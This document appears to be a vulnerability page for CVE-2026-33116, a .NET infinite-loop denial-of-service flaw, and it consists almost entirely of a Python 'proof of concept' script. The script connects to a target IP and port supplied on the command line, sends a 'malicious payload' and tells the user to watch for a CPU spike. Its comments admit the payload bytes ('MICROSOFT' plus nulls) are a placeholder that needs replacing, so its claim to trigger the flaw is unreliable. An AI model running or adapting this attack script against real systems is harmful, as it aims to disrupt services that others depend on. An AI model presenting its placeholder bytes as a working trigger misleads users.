CVE-2026-33116 .NET无限循环拒绝服务漏洞

# Conceptual Proof of Concept for CVE-2026-33116 # This script demonstrates a network trigger for the Infinite Loop DoS. # Note: Actual payload requires specific protocol analysis. import socket import sys def send_dos_packet(target_ip, target_port): """ Sends a crafted packet to trigger the infinite loop. """ try: # Establish connection print(f"[*] Connecting to {target_ip}:{target_port}...") s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) s.connect((target_ip, target_port)) # Malformed payload designed to hit the vulnerable parsing logic # Replace with actual bytes based on vulnerability analysis payload = b"\x4d\x49\x43\x52\x4f\x53\x4f\x46\x54" + b"\x00" * 1000 print("[*] Sending malicious payload...") s.send(payload) print("[+] Payload sent. Monitor target CPU usage for spike.") s.close() except Exception as e: print(f"[-] Error occurred: {e}") if __name__ == "__main__": if len(sys.argv) < 3: print("Usage: python poc.py <target_ip> <target_port>") else: send_dos_packet(sys.argv[1], int(sys.argv[2]))